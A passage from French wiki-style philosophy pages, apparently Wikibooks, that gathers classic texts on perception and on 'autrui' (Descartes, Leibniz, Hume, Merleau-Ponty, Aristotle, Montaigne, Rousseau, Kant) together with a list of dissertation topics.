ce son, mais seulement un corps qui un peu auparavant me paraissait sous ces formes, et qui maintenant se fait remarquer sous d'autres. Mais qu'est-ce, précisément parlant, que j'imagine, lorsque je la conçois en cette sorte ? Considérons-le attentivement, et éloignant toutes les choses qui n'appartiennent point à la cire, voyons ce qui reste. Certes il ne demeure rien que quelque chose d'étendu, de flexible et de muable. Or qu'est-ce que cela : flexible et muable ? N'est-ce pas que j'imagine que cette cire étant ronde est capable de devenir carrée, et de passer du carré en une figure triangulaire ? Non certes, ce n'est pas cela, puisque je la conçois capable de recevoir une infinité de semblables changements, et je ne saurais néanmoins parcourir cette infinité par mon imagination, et par conséquent cette conception que j'ai de la cire ne s'accomplit pas par la faculté d'imaginer. Qu'est-ce maintenant que cette extension ? N'est-elle pas aussi inconnue, puisque dans la cire qui se fond elle augmente, et se trouve encore plus grande quand elle est entièrement fondue, et beaucoup plus encore quand la chaleur augmente davantage ? Et je ne concevrais pas clairement et selon la vérité ce que c'est que la cire, si je ne pensais qu'elle est capable de recevoir plus de variétés selon l'extension, que je n'en ai jamais imaginé. Il faut donc que je tombe d'accord, que je ne saurais pas même concevoir par l'imagination ce que c'est que cette cire, et qu'il n'y a que mon entendement seul qui le conçoive; je dis ce morceau de cire en particulier, car pour la cire en général, il est encore plus évident. Or quelle est cette cire, qui ne peut être conçue que par l'entendement ou l'esprit ? Certes c'est la même que je vois, que je touche, que j'imagine, et la même que je connaissais dès le commencement. Mais ce qui est à remarquer, sa perception, ou bien l'action par laquelle on l'aperçoit, n'est point une vision, ni un attouchement, ni une imagination, et ne l'a jamais été, quoiqu'il le semblât ainsi auparavant, mais seulement une inspection de l'esprit, laquelle peut être imparfaite et confuse, comme elle était auparavant, ou bien claire et distincte, comme elle est à présent, selon que mon attention se porte plus ou moins aux choses qui sont en elle, et dont elle est composée. Méditations métaphysiques (1641), Méditation seconde LEIBNIZ Il y a mille marques qui font juger qu'il y a à tout moment une infinité de perceptions en nous, mais sans aperception et sans réflexion, c'est-à-dire des changements dans l'âme même dont nous ne nous apercevons pas, parce que ces impressions sont ou trop petites et en trop grand nombre, ou trop unies, en sorte qu'elles n'ont rien d'assez distinguant à part; mais jointes à d'autres, elles ne laissent pas de faire leur effet et de se faire sentir au moins confusément dans l'assemblage. C'est ainsi que l'accoutumance fait que nous ne prenons pas garde au mouvement d'un moulin ou à une chute d'eau, quand nous avons habité tout auprès depuis quelque temps. Ce n'est pas que ce mouvement ne frappe toujours nos organes, et qu'il ne se passe encore quelque chose dans l'âme qui y réponde, à cause de l'harmonie de l'âme et du corps, mais ces impressions qui sont dans l'âme et dans le corps, destituées des attraits de la nouveauté, ne sont pas assez fortes pour s'attirer notre attention et notre mémoire, attachées à des objets plus occupants. Car toute attention demande de la mémoire, et souvent, quand nous ne sommes point admonestés, pour ainsi dire, et avertis de prendre garde à quelques-unes de nos propres perceptions présentes, nous les laissons passer sans réflexion et même sans être remarquées. Mais si quelqu'un nous en avertit incontinent après et nous fait remarquer, par exemple, quelque bruit qu'on vient d'entendre, nous nous en souvenons et nous nous apercevons d'en avoir eu tantôt quelque sentiment. Ainsi c'étaient des perceptions dont nous ne nous étions pas aperçus incontinent, l'aperception ne venant dans ce cas que de l'avertissement après quelque intervalle, tout petit qu'il soit. Et pour juger encore mieux des petites perceptions que nous ne saurions distinguer dans la foule, j'ai coutume de me servir de l'exemple du mugissement ou du bruit de la mer, dont on est frappé quand on est au rivage. Pour entendre ce bruit comme l'on fait, il faut bien qu'on entende les parties qui composent ce tout, c'est-à-dire les bruits de chaque vague, quoique chacun de ces petits bruits ne se fasse connaître que dans l'assemblage confus de tous les autres ensemble, c'est-à-dire dans ce mugissement même, et qu'il ne se remarquerait pas si cette vague, qui le fait, était seule. Car il faut qu'on soit affecté un peu par le mouvement de cette vague et qu'on ait quelque perception de chacun de ces bruits, quelque petits qu'ils soient; autrement on n'aurait pas celle de cent mille vagues, puisque cent mille riens ne sauraient faire quelque chose. Nouveaux Essais sur l'entendement humain, préface LEIBNIZ La nature nous a montré dans le sommeil et dans les évanouissements, un échantillon qui nous doit faire juger que la mort n'est pas une cessation de toutes les fonctions, mais seulement une suspension de certaines fonctions plus remarquables. Et j'ai expliqué ailleurs un point important, lequel, n'ayant pas été assez considéré, a fait donner plus aisément les hommes dans l'opinion de la mortalité des âmes ; c'est qu'un grand nombre de petites perceptions égales et balancées entre elles, qui n'ont aucun relief ni rien de distinguant, ne sont point remarquées et on ne saurait s'en souvenir. Mais d'en vouloir conclure qu'alors l'âme est tout fait sans fonctions, c'est comme le vulgaire croit qu'il y a un vide ou rien là où il n'y a point de matière notable, et que la terre est sans mouvement parce que son mouvement n'a rien de remarquable, étant uniforme et sans secousses. Nous avons une infinité de petites perceptions et que nous ne saurions distinguer : un grand bruit étourdissant comme par exemple le murmure de tout un peuple assemblé est composé de tous les petits murmures de personnes particulières qu'on ne remarquerait pas à part mais dont on a pourtant un sentiment, autrement on ne sentirait point le tout. Ainsi quand l'animal est privé des organes capables de lui donner des perceptions assez distinguées, il ne s'ensuit point qu'il ne lui reste point de perceptions plus petites et plus uniformes, ni qu'il soit privé de tous organes et de toutes les perceptions. Les organes ne sont qu'enveloppés et réduits en petit volume, mais l'ordre de la nature demande que tout se redéveloppe et retourne un jour à un état remarquable. Texte donné au bac HUME Toute impression simple s'accompagne d'une idée correspondante et toute idée simple d'une impression correspondante. De cette conjonction constante des perceptions semblables, je conclus immédiatement qu'il y a une grande connexion entre nos impressions et nos idées correspondantes et que l'existence des unes exerce une influence considérable sur l'existence des autres. Une telle conjonction constante, dans un nombre aussi illimité de cas, ne peut jamais naître du hasard ; mais elle montre clairement qu'il y a une dépendance des impressions par rapport aux idées ou des idées par rapport aux impressions. Pour savoir de quel côté se trouve cette dépendance, j'envisage l'ordre de première apparition ; et je trouve, par expérience constante, que les impressions simples précèdent toujours les idées correspondantes et que l'ordre inverse ne se produit jamais. Pour donner à un enfant l'idée de l'écarlate ou de l'orange, du doux ou de l'amer, je lui présente les objets, ou, en d'autres termes, je lui communique ces impressions ; mais je ne procède pas assez absurdement pour tenter de produire les impressions en éveillant les idées. Nos idées, à leur apparition, ne produisent pas les impressions correspondantes et nous ne percevons aucune couleur, ni ne ressentons aucune sensation à seulement y penser. D'autre part nous trouverons qu'une impression, qu'elle soit de l'esprit ou du corps, est constamment suivie d'une idée qui lui ressemble et qui en diffère seulement par le degré de force et de vivacité. La constante conjonction de nos perceptions semblables est une preuve convaincante que les unes sont causes des autres ; et la priorité des impressions est une preuve tout aussi grande que nos impressions sont les causes de nos idées et non nos idées les causes de nos impressions. Traité de la nature humaine, Livre I, section 1 NIETZSCHE Mon œil, qu’il soit perçant ou faible, ne voit pas au-delà d’un certain espace, et dans cet espace je vis et j’agis, cette ligne d’horizon est mon plus proche destin, grand ou petit, auquel je ne peux échapper. Autour de chaque être s’étend ainsi un cercle concentrique qui a un centre et qui lui est propre. De même l’oreille nous enferme dans un petit espace, de même le toucher. D’après ces horizons où nos sens enferment chacun de nous comme dans les murs d’une prison, nous mesurons ensuite le monde, nous nommons ceci proche et cela lointain, ceci grand et cela petit, ceci dur et cela mou : ces mesures, nous les nommons sensations - et tout cela, absolument tout, n’est qu’une erreur en soi ! D’après la quantité d’expériences et d’excitations qui nous sont possibles en moyenne en un temps donné, nous mesurons notre vie, la trouvant courte ou longue, riche ou pauvre, remplie ou vide : et d’après la moyenne de la vie humaine, nous mesurons celle de toutes les autres créatures, - et tout cela, absolument tout, n’est qu’erreur en soi ! Aurore, § 117, Traduction J. HERVIER, Paris, Gallimard (Idées, 322) pp. 128-129 ALAIN On soutient communément que c'est le toucher qui nous instruit, et par constatation pure et simple, sans aucune interprétation. Mais il n'en est rien. Je ne touche pas ce dé cubique, Non. Je touche successivement des arêtes, des pointes, des plans durs et lisses, et réunissant toutes ces apparences en un seul objet, je juge que cet objet est cubique. Exercez-vous sur d'autres exemples, car cette analyse conduit fort loin, et il importe de bien assurer ses premiers pas. Au surplus, il est assez clair que je ne puis pas constater comme un fait donné à mes sens que ce dé cubique et dur est en même temps blanc de partout, et jamais les faces visibles ne sont colorées de même en même temps. Mais pourtant c'est un cube que je vois, à faces égales, et toutes également blanches, Et je vois cette même chose que je touche, Platon, dans son Théétète, demandait par quel sens je connais l'union des perceptions des différents sens en un objet. Revenons à ce dé. Je reconnais six taches noires sur une des faces, On ne fera pas difficulté d'admettre que c'est là une opération d'entendement, dont les sens fournissent seulement la matière. Il est clair que, parcourant ces taches noires, et retenant l'ordre et la place de chacune, je forme enfin, et non sans peine au commencement, l'idée qu'elles sont six, c'est-à-dire deux fois trois, qui font cinq et un. Apercevez-vous la ressemblance entre cette action de compter et cette autre opération par laquelle je reconnais que des apparences successives, pour la main et pour l'œil, me font connaître un cube ? Par où il apparaîtrait que la perception est déjà une fonction d'entendement. Les Passions et la Sagesse, Pléiade, p. 1076. MERLEAU-PONTY C'est un lieu commun de dire que nous avons cinq sens et, à première vue, chacun d'eux est comme un monde sans communication avec les autres. La lumière ou les couleurs qui agissent sur l'oeil n'agissent pas sur les oreilles ni sur le toucher. Et cependant on sait depuis longtemps que certains aveugles arrivent à se représenter les couleurs qu'ils ne voient pas par le moyen des sons qu'ils entendent. Par exemple un aveugle disait que le rouge devait être quelque chose comme un coup de trompette. Mais on a longtemps pensé qu'il s'agissait là de phénomènes exceptionnels. En réalité le phénomène est général. Dans l'intoxication par la mescaline*, les sons sont régulièrement accompagnés par des taches de couleur dont la nuance, la forme et la hauteur varient avec le timbre, l'intensité et la hauteur des sons. Même les sujets normaux parlent de couleurs chaudes, froides, criardes ou dures, de sons clairs, aigus, éclatants, rugueux ou moelleux, de bruits mous, de parfums pénétrants. Cézanne disait qu'on voit le velouté, la dureté, la mollesse, et même l'odeur des objets. Ma perception n'est donc pas une somme de données visuelles, tactiles, auditives, je perçois d'une manière indivise avec mon être total, je saisis une structure unique de la chose, une unique manière d'exister qui parle à la fois à tous mes sens. Sens et non-sens, Paris, Nagel, 1966, p. 88. La pensée objective ignore le sujet de la perception. C'est qu'elle se donne le monde tout fait, comme milieu de tout événement possible, et traite la perception comme l'un de ces événements. L'erreur de l'empirisme Par exemple, le philosophe empiriste considère un sujet X en train de percevoir et cherche à décrire ce qui se passe : il y a des sensations qui sont des états ou des manières d'être du sujet et, à ce titre, de véritables choses mentales. Le sujet percevant est le lieu de ces choses et le philosophe décrit les sensations et leur substrat comme on décrit la faune d'un pays lointain sans s'apercevoir qu'il perçoit lui-même, qu'il est sujet percevant et que la perception telle qu'il la voit dément tout ce qu'il dit de la perception en général. Car, vue de l'intérieur, la perception ne doit rien à ce que nous savons par ailleurs sur le monde, sur les stimuli tels que les décrit la physique et sur les organes des sens tels que les décrit la biologie. Elle ne se donne pas d'abord comme un événement dans le monde auquel on puisse appliquer, par exemple, la catégorie de causalité, mais comme une recréation ou re-constitution du monde à chaque moment. Si nous croyons à un passé du monde, au monde physique, aux « stimuli », à l'organisme tel que nous le représentent nos livres, c'est d'abord parce que nous avons un champ perceptif présent et actuel, une surface de contact avec le monde ou en enracinement perpétuel en lui, c'est parce qu'il vient sans cesse assaillir et investir la subjectivité comme des vagues entourent une épave sur la plage. (...) L'insuffisance de l'intellectualisme L'intellectualisme représente bien un progrès dans la prise de conscience : ce lieu hors du monde que le philosophe empiriste sous-entendait et où il se plaçait tacitement pour décrire l'événement de la perception, il reçoit maintenant un nom, il figure dans la description. C'est l'Ego transcendantal. Par là, toutes les thèses de l'empirisme se trouvent renversées, l'état de la conscience devient la conscience d'un état, la passivité position d'une passivité, le monde devient le corrélatif d'une pensée du monde et n'existe plus que par un constituant. Et pourtant il reste vrai de dire que l'intellectualisme, lui aussi, se donne le monde tout fait. Car la constitution du monde telle qu'il la conçoit est une simple clause de style : à chaque terme de la description empiriste, on ajoute l'indice « conscience de... ». On subordonne tout le système de l'expérience monde, corps propre, et moi empirique à un penseur universel chargé de porter les relations des trois termes. Mais, comme il n'y est pas engagé, elles restent ce qu'elles étaient dans l'empirisme: des relations de causalité étalées sur le plan des événements cosmiques. Or, si le corps propre et le moi empirique ne sont que des éléments dans le système de l'expérience, objets parmi d'autres objets, (...) comment se fait-il que nous percevions ? Nous ne le comprenons que si le moi empirique et le corps ne sont pas d'emblée des objets, ne le deviennent jamais tout à fait, s'il y a un certain sens à dire que je vois le morceau de cire de mes yeux, et si corrélativement cette possibilité d'absence, cette dimension de fuite et de liberté que la réflexion ouvre au fond de nous et qu'on appelle le Je transcendantal ne sont pas données d'abord et ne sont jamais absolument acquises, si je ne peux jamais dire « Je » absolument et si tout acte de réflexion, toute prise de position volontaire s'établit sur le fond d'une vie de conscience prépersonnelle. Phénoménologie de la perception (1945), pp.240-241. Chaque perception est muable et seulement probable; si l'on veut ce n'est qu'une opinion ; mais ce qui ne l'est pas, ce que chaque perception, même fausse, vérifie, c'est l'appartenance de chaque expérience au même monde, leur égal pouvoir de le manifester, à titre de possibilités du même monde. Si l'une prend si bien la place de l'autre — au point qu'on ne trouve plus trace un moment après de l'illusion —, c'est précisément qu'elles ne sont pas des hypothèses successives touchant un Etre inconnaissable, mais des perspectives sur le même Être familier dont nous savons qu'il ne peut exclure l'une sans inclure l'autre, et qu'en tout état de cause, il est lui, hors de contexte. Et c'est pourquoi la fragilité même de telle perception, attestée par son éclatement et la substitution d'une autre perception, loin qu'elle nous autorise à effacer en elles toutes l'indice de « réalité », nous oblige à le leur accorder à toutes, à reconnaître en elles toutes des variantes du même monde, et enfin à les considérer non comme toutes fausses, mais comme « toutes vraies », non comme des échecs répétés dans la détermination du monde, mais comme des approches progressives. Chaque perception enveloppe la possibilité de son remplacement par une autre et donc d'une sorte de désaveu des choses, mais cela veut dire aussi: chaque perception est le terme d'une approche, d'une série d'« illusions » qui n'étaient pas seulement de simples « pensées », au sens restrictif de l'Etre-pour-soi et du « rien que pensé », mais des possibilités qui auraient pu être, des rayonnements de ce monde unique qu'« il y a »... — et qui, à ce titre, ne font jamais retour au néant ou à la subjectivité, comme si elles n'étaient jamais apparues, mais sont plutôt, comme le dit bien Husserl, « barrées », ou « biffées », par la « nouvelle » réalité. La philosophie réflexive n'a pas tort de considérer le faux comme une vérité mutilée ou partielle: son tort est plutôt de faire comme si le partiel n'était qu'absence de fait de la totalité, qui n'a pas besoin qu'on en rende compte, ce qui finalement supprime toute consistance propre de l'apparence, l'intègre par avance à l'Être, lui ôte, comme partiel, sa teneur de vérité, l'escamote dans une adéquation interne où l'Etre et les raisons d'être ne font qu'un. Le Visible et l'invisible, Gallimard, 1964, pp. 64-65 == Bibliographie == *''Phénoménologie de la perception'', Merleau-Ponty Philosophie/Autrui 241 46058 2006-06-27T18:25:38Z Guillaumito 46 [[Autrui]] déplacé vers [[Philosophie/Autrui]]: Convention de nommage {{ébauche}} {{SommairePhilo}} "Autrui en tant qu'autrui n'est pas seulement un alter ego. Il est ce que moi je ne suis pas." (Lévinas) Autrui est un terme par lequel un ''je'' désigne un [[sujet]] qui n'est pas lui. Il n'y a donc pas de réflexion sur autrui sans un sujet qui, en disant « je », reconnait l'existence d'un ''je'' qui n'est pas lui. Mais les deux ''je'' ainsi conçus sont-ils équivalents ? L'un est perçu par celui qui dit ''je'', l'autre est seulement attribué à un corps qui est aussi une personne. Les deux ''je'' par un même mot renvoient donc à deux réalités supposées identiques et pourtant expérimentalement incomparables. En ce sens, l'autre est une altérité absolue d'un ''je'' qui n'est pas moi. == Connaissance de l'autre == Que pouvons-nous désigner par le mot ''autrui'' si tout ce que nous pouvons en connaître n'est que ce que nous lui attribuons ? Connaissons-nous seulement autrui comme [[sujet]] de ces attributions ? == Relations avec autrui == *L'amitié *La sympathie *La solitude == Sujets de dissertation == *Peut-on aimer sans s'aimer soi-même? *L'amitié est-elle une forme privilégiée de la connaissance d'autrui? *Peut-on se mettre à la place d'autrui? *Les consciences peuvent-elles communiquer les unes avec les autres? *La conscience de soi doit-elle quelque chose à la présence d'autrui? *Suis-je le mieux placé pour savoir ce que je suis? *Autrui n'est-il qu'un moyen ou un obstacle? *Autrui est-il un autre moi-même ? *Pouvons-nous penser autrui autrement qu’à partir de nous-mêmes ? *Que peut-on savoir d’autrui ? *Peut-on exister sans les autres? *Dire d'autrui qu'il est mon semblable , est-ce dire qu'il me ressemble ? *Sommes-nous toujours prisonniers du regard des autres ? *Autrui me connait-il mieux que moi même? == Textes == ARISTOTE Se suffire à soi-même, est un but auquel tend toute production de la nature et cet état est aussi le plus parfait. Il est donc évident que la Cité est au nombre des choses qui existent naturellement, et que l'homme est naturellement fait pour la société politique. Celui qui par son naturel, et non par l'effet du hasard, existerait sans aucune patrie, serait un individu détestable, très au-dessus ou très au-dessous de l'homme, selon Homère : "Un être sans foyer, sans famille et sans lois". Celui qui serait tel par sa nature ne respirerait que la guerre, n'étant retenu par aucun frein, - et, comme un oiseau de proie, serait toujours prêt à fondre sur les autres. Aussi l'homme est-il un animal civique, plus social que les abeilles et autres animaux qui vivent ensemble. Et la nature, qui ne fait rien en vain, n'a départi qu'à lui seul le don de la parole, qu'il ne faut pas confondre avec les sons de la voix. Ceux-ci ne sont que l'expression de sensations agréables ou désagréables dont les autres animaux sont, comme nous, susceptibles. La nature leur a donné un organe borné à ce seul effet ; mais nous avons de plus, sinon la connaissance développée, au moins tout le sentiment obscur du bien et du mal, de l'utile et du nuisible, du juste et de l'injuste, objets pour la manifestation desquels nous a été principalement accordé l'organe de la parole. C'est ce commerce de la parole qui est le lien de toute société domestique et civile. Politique, I, 2, 1252 a. ARISTOTE Apprendre à se connaître est très difficile [...] et un très grand plaisir en même temps (quel plaisir de se connaître !) ; mais nous ne pouvons pas nous contempler nous-mêmes à partir de nous-mêmes : ce qui le prouve, ce sont les reproches que nous adressons à d'autres, sans nous rendre compte que nous commettons les mêmes erreurs, aveuglés que nous sommes, pour beaucoup d'entre nous, par l'indulgence et la passion qui nous empêchent de juger correctement. Par conséquent, à la façon dont nous regardons dans un miroir quand nous voulons voir notre visage, quand nous voulons apprendre à nous connaître, c'est en tournant nos regards vers notre ami que nous pourrions nous découvrir, puisqu'un ami est un autre soi-même. Concluons : la connaissance de soi est un plaisir qui n'est pas possible sans la présence de quelqu'un d'autre qui soit notre ami ; l'homme qui se suffit à soi-même aurait donc besoin d'amitié pour apprendre à se connaître soi-même. ARISTOTE L'amitié semble aussi constituer le lien des cités, et les législateurs paraissent y attacher un plus grand prix qu'à la justice même : en effet, la concorde, qui paraît bien être un sentiment voisin de l'amitié, est ce que recherchent avant tout les législateurs, alors que l'esprit de faction, qui est son ennemi, est ce qu'ils pourchassent avec le plus d'énergie. Et quand les hommes sont amis il n'y a plus besoin de justice, tandis que s'ils se contentent d'être justes ils ont en outre besoin d'amitié, et la plus haute expression de la justice est, dans l'opinion générale, de la nature de l'amitié. ARISTOTE Les gens qui font du mot égoïste un terme de réprobation appellent égoïstes ceux qui, qu'il s'agisse de richesse, d'honneurs, de plaisirs corporels, prennent la part la plus grande ; tels sont en effet, pour la plupart des hommes, les objets de leurs désirs et de leurs efforts, car ils pensent que ce sont les plus grands des biens ; c'est pourquoi ce sont ceux qu'on se dispute le plus. Or, quand on place là son ambition, on s'abandonne à ses convoitises et, en général, à ses passions, et par conséquent à la partie irrationnelle de l'âme. Comme c'est là le cas de la plupart des hommes, la signification du mot vient de cet "égoïsme" de la masse, qui est vile. C'est donc avec justice qu'on méprise ceux qui sont égoïstes de cette manière. Que l'on appelle communément égoïstes ceux qui cherchent à se procurer ces sortes de biens, la chose est claire. Car s'il se trouve un homme qui s'applique constamment à accomplir plus que tout autre des actes de justice, de tempérance, ou de tout autre vertu, qui, en un mot, se réserve toujours à lui-même le beau - personne ne qualifiera cet homme d'égoïste ni ne le blâmera. Et pourtant c'est celui-là qui semblerait plutôt être égoïste ; il cherche, en tout cas, à s'assurer à lui-même les choses les plus belles, les biens suprêmes ; il veut contenter la partie de lui-même qui a l'autorité souveraine, et il lui obéit en tout. Ethique à Nicomaque, IX, 8, 1168-1169b MONTAIGNE Au demeurant, ce que nous appelons ordinairement amis et amitiés, ce ne sont qu'accointances et familiarités nouées par quelque occasion ou commodité, par le moyen de laquelle nos âmes s'entretiennent. En l'amitié de quoi je parle, elles se mêlent et confondent l'une en l'autre, d'un mélange si universel qu'elles effacent et ne retrouvent plus la couture qui les a jointes. Si on me presse de dire pourquoi je l'aimais, je sens que cela ne se peut exprimer qu'en répondant : «Parce que c'était lui, parce que c'était moi.» Il y a, au-delà de tout mon discours, et de ce que j'en puis dire particulièrement, je ne sais quelle force inexplicable et fatale, médiatrice de cette union. Nous nous cherchions avant que de nous être vus, et par des rapports que nous entendions l'un de l'autre, qui faisaient en notre affection plus d'effort que ne porte la raison des rapports, je crois par quelque ordonnance du ciel; nous nous embrassions par nos noms. Et à notre première rencontre, qui fut par hasard en une grande fête et compagnie de ville, nous nous trouvâmes si pris, si connus, si obligés entre nous, que rien dès lors ne nous fut si proche que l'un à l'autre. Il écrivit une satyre latine excellente, qui est publiée, par laquelle il excuse et explique la précipitation de notre intelligence1, si promptement parvenue à sa perfection. Ayant si peu à durer, et ayant si tard commencé (car nous étions tous deux hommes faits, et lui de quelques années de plus)2, elle n'avait point à perdre de temps et à se régler au patron des amitiés molles et régulières, auxquelles il faut tant de précautions de longue et préalable conversation. Celle-ci n'a point d'autre idée que d'elle-même, et ne se peut rapporter qu'à soi. Ce n'est pas une spéciale considération, ni deux, ni trois, ni quatre, ni mille : c'est je ne sais quelle quintessence de tout ce mélange, qui, ayant saisi toute ma volonté, l'amena se plonger et se perdre dans la sienne; qui, ayant saisi toute sa volonté, l'amena se plonger et se perdre en la mienne, d'une faim, d'une concurrence pareille. Je dis perdre, à la vérité, ne nous réservant rien qui nous fût propre, ni qui fût ou sien, ou mien. Essais (1580-1595), livre Ier, chapitre XXVIII DESCARTES Il y a encore une vérité dont la connaissance me semble fort utile : qui est que, bien que chacun de nous soit une personne séparée des autres, et dont, par conséquent, les intérêts sont en quelque façon distincts de ceux du reste du monde, on doit toutefois penser qu'on ne saurait subsister seul, et qu'on est, en effet, l'une des parties de l'univers, et plus particulièrement encore l'une des parties de cette terre, l'une des parties de cet Etat, de cette société, de cette famille, à laquelle on est joint par sa demeure, par son serment, par sa naissance. Et il faut toujours préférer les intérêts du tout, dont on est partie, à ceux de sa personne en particulier ; toutefois avec mesure et discrétion, car on aurait tort de s'exposer à un grand mal, pour procurer seulement un petit bien à ses parents ou son pays ; et si un homme vaut plus, lui seul, que tout le reste de sa ville, il n'aurait pas raison de se vouloir perdre pour la sauver. MALEBRANCHE Je vois, par exemple, que deux fois deux font quatre, et qu'il faut préférer son ami à son chien ; et je suis certain qu'il n'y a point d'homme au monde qui ne le puisse voir aussi bien que moi. Or je ne vois point ces vérités dans l'esprit des autres, comme les autres ne les voient point dans le mien. Il est donc nécessaire qu'il y ait une Raison universelle qui m'éclaire, et tout ce qu'il y a d'intelligences. Car si la raison que je consulte, n'était pas la même qui répond aux Chinois, il est évident que je ne pourrais pas être aussi assuré que je le suis, que les Chinois voient les mêmes vérités que je vois. Ainsi la raison que nous consultons quand nous rentrons dans nous-mêmes, est une raison universelle. Je dis : quand nous rentrons dans nous-mêmes, car je ne parle pas ici de la raison que suit un homme passionné. Lorsqu'un homme préfère la vie de son cheval à celle de son cocher, il a ses raisons, mais ce sont des raisons particulières dont tout homme raisonnable a horreur. Ce sont des raisons qui dans le fond ne sont pas raisonnables, parce qu'elles ne sont pas conformes à la souveraine raison, ou à la raison universelle que tous les hommes consultent. HUME Nous nous familiarisons aisément avec les personnes qui nous sont alliés, par le sang, avec nos compatriotes, avec les gens de notre profession, avec ceux qui nous ressemblent, soit par leur fortune, soit par les événements de leur vie : nous recherchons leur compagnie, parce que nous entrons sans contrainte dans leurs idées et leurs sentiments, rien de singulier ou de nouveau ne nous arrête : notre imagination trouve une espèce de douceur à passer de notre personne, qui est toujours son point de départ, à une personne qui nous est étroitement unie ; la sympathie est parfaite. Cette personne nous est immédiatement agréable et d'accès facile. Il n'y a point de distance qui nous en sépare, nous pouvons nous y livrer sans réserve. La parenté produit ici le même effet que l'habitude et la familiarité ont coutume de produire; et cet effet résulte des mêmes causes. Dans l'un et l'autre cas, la satisfaction et le plaisir que nous fait goûter le commerce de nos semblables sont la source de l'amitié que nous avons pour eux. HUME On remarque aisément qu'une affection cordiale met tout en communauté entre amis ; et que des époux, en particulier, perdent l'un et l'autre leur propriété et ne connaissent plus le tien et le mien qui sont si nécessaires et qui pourtant causent tant de trouble dans la société humaine. Le même effet résulte d'un changement des circonstances où vivent les hommes, quand par exemple il y a une assez grande abondance d'un bien pour contenter tous les désirs des hommes ; dans ce cas disparaît complètement toute distinction de propriété et tout demeure en commun Nous pouvons observer cette situation pour l'air et l'eau qui sont pourtant les plus estimables des objets extérieurs; et nous pouvons aisément conclure que si les hommes étaient fournis, en même abondance, de tous les biens ou si chacun avait pour autrui la même affection et la même attention tendre que pour soi-même, la justice et l'injustice seraient également inconnues des hommes. Voici donc une proposition qu'on peut, à mon avis, regarder comme certaine : c'est uniquement de l'égoïsme de l'homme et de sa générosité limitée, en liaison avec la parcimonie avec laquelle la nature a pourvu à la satisfaction de ses besoins, que la justice tire son origine. ROUSSEAU Il est donc bien certain que la pitié est un sentiment naturel qui, modérant dans chaque individu l'activité de l'amour de soi-même, concourt à la conservation mutuelle de toute l'espèce. C'est elle qui nous porte sans réflexion au secours de ceux que nous voyons souffrir; c'est elle qui, dans l'état de nature, tient lieu de lois, de moeurs et de vertu, avec cet avantage que nul n'est tenté de désobéir à sa douce voix; c'est elle qui détournera tout sauvage robuste d'enlever à un faible enfant ou à un vieillard infirme sa subsistance acquise avec peine, si lui-même espère pouvoir trouver la sienne ailleurs; c'est elle qui, au lieu de cette maxime sublime de justice raisonnée : "Fais à autrui comme tu veux qu'on te fasse", inspire à tous les hommes cette autre maxime de bonté naturelle, bien moins parfaite, mais plus utile peut-être que la précédente : "Fais ton bien avec le moindre mal d'autrui qu'il est possible. ROUSSEAU Les hommes sont méchants; une triste et continuelle expérience dispense de la preuve; cependant l'homme est naturellement bon, je crois l'avoir démontré. Qu'est-ce donc qui peut l'avoir dépravé à ce point sinon les changements survenus dans sa constitution, les progrès qu'il a faits et les connaissances qu'il a acquises ? Qu'on admire tant qu'on voudra la société humaine, il n'en sera pas moins vrai qu'elle porte nécessairement les hommes à s'entre-haïr à proportion que leurs intérêts se croisent, à se rendre mutuellement des services apparents et à se faire en effet tous les maux imaginables. Que peut-on penser d'un commerce où la raison de chaque particulier lui dicte des maximes directement contraires à celles que la raison publique prêche au corps de la société et où chacun trouve son compte dans le malheur d'autrui ? Il n'y a peut-être pas un homme aisé à qui des héritiers avides et souvent ses propres enfants ne souhaitent la mort en secret, pas un vaisseau en mer dont le naufrage ne fût une bonne nouvelle pour quelque négociant, pas une maison qu'un débiteur ne voulût voir brûler avec tous les papiers qu'elle contient, pas un peuple qui ne se réjouisse des désastres de ses voisins. C'est ainsi que nous trouvons notre avantage dans le préjudice de nos semblables, et que la perte de l'un fait presque toujours prospérité de l'autre. Mais ce qu'il y de plus dangereux encore, c'est que les calamités publiques font l'attente et l'espoir d'une multitude de particuliers. Les uns veulent des maladies, d'autres la mortalité, d'autres la guerre, d'autres la famine; j'ai vu des hommes affreux pleurer de douleur aux apparences d'une année fertile, et le grand et funeste incendie de Londres, qui coûta la vie ou les biens à tant de malheureux, fit peut-être la fortune à plus de dix mille personnes. Je sais que Montaigne blâme l'Athénien Démades d'avoir fait punir un ouvrier qui vendant fort cher des cercueils gagnait beaucoup à la mort des citoyens, mais la raison que Montaigne allègue étant qu'il faudrait punir tout le monde, il est évident qu'elle confirme les miennes. Qu'on pénètre donc au travers de nos frivoles démonstrations de bienveillance ce qui se passe au fond des cœurs et qu'on réfléchisse à ce que doit être un état de choses où tous les hommes sont forcés de se caresser et de se détruire mutuellement et où ils naissent ennemis par devoir et fourbes par intérêt. Si l'on me répond que la société est tellement constituée que chaque homme gagne à servir les autres, je répliquerai que cela serait fort bien s'il ne gagnait encore plus à leur nuire. Il n'y a point de profit si légitime qui ne soit surpassé par celui qu'on peut faire illégitimement, et le tort fait au prochain est toujours plus lucratif que les services. Il ne s'agit donc plus que de trouver les moyens de s'assurer l'impunité, et c'est à quoi les puissants emploient toutes leurs forces, et les faibles toutes leurs ruses. Discours sur l'origine et les fondements de l'inégalité parmi les hommes (1755), note IX KANT Le moyen dont la nature se sert pour mener à bien le développement de toutes ses dispositions est leur antagonisme au sein de la Société, pour autant que celui-ci est cependant en fin de compte la cause d'une ordonnance régulière de cette Société. J'entends ici par antagonisme l'insociable sociabilité des hommes, c'est-à-dire leur inclination à entrer en société, inclination qui est cependant doublée par une répulsion générale à le faire, menaçant constamment de désagréger cette société. L'homme a un penchant à s'associer , car dans un tel état, il se sent plus qu'homme par le développement de ses dispositions naturelles. Mais il manifeste aussi une grande propension à se détacher (s'isoler), car il trouve en même temps en lui le caractère d'insociabilité qui le pousse à vouloir tout diriger dans son sens ; et, de ce fait, il s'attend à rencontrer des résistances de tous côtés, de même qu'il se sait par lui-même enclin à résister aux autres. C'est cette résistance qui éveille toutes les forces de l'homme, le porte à surmonter son inclination à la paresse, et, sous l'impulsion de l'ambition, de l'instinct de domination ou de cupidité, à se frayer une place parmi ses compagnons qu'il supporte de mauvais gré, mais dont il ne peut se passer (...). Sans ces qualités d'insociabilité, peu sympathiques certes par elles-mêmes, source de la résistance que chacun doit nécessairement rencontrer à ses prétentions égoïstes, tous les talents resteraient à jamais enfouis en germes (...), dans une concorde, une satisfaction et un amour mutuels parfaits (...). Remercions donc la nature pour cette humeur peu conciliante, pour la vanité rivalisant dans l'envie, pour l'appétit insatiable de possession ou même de domination (...). L'homme veut la concorde, mais la 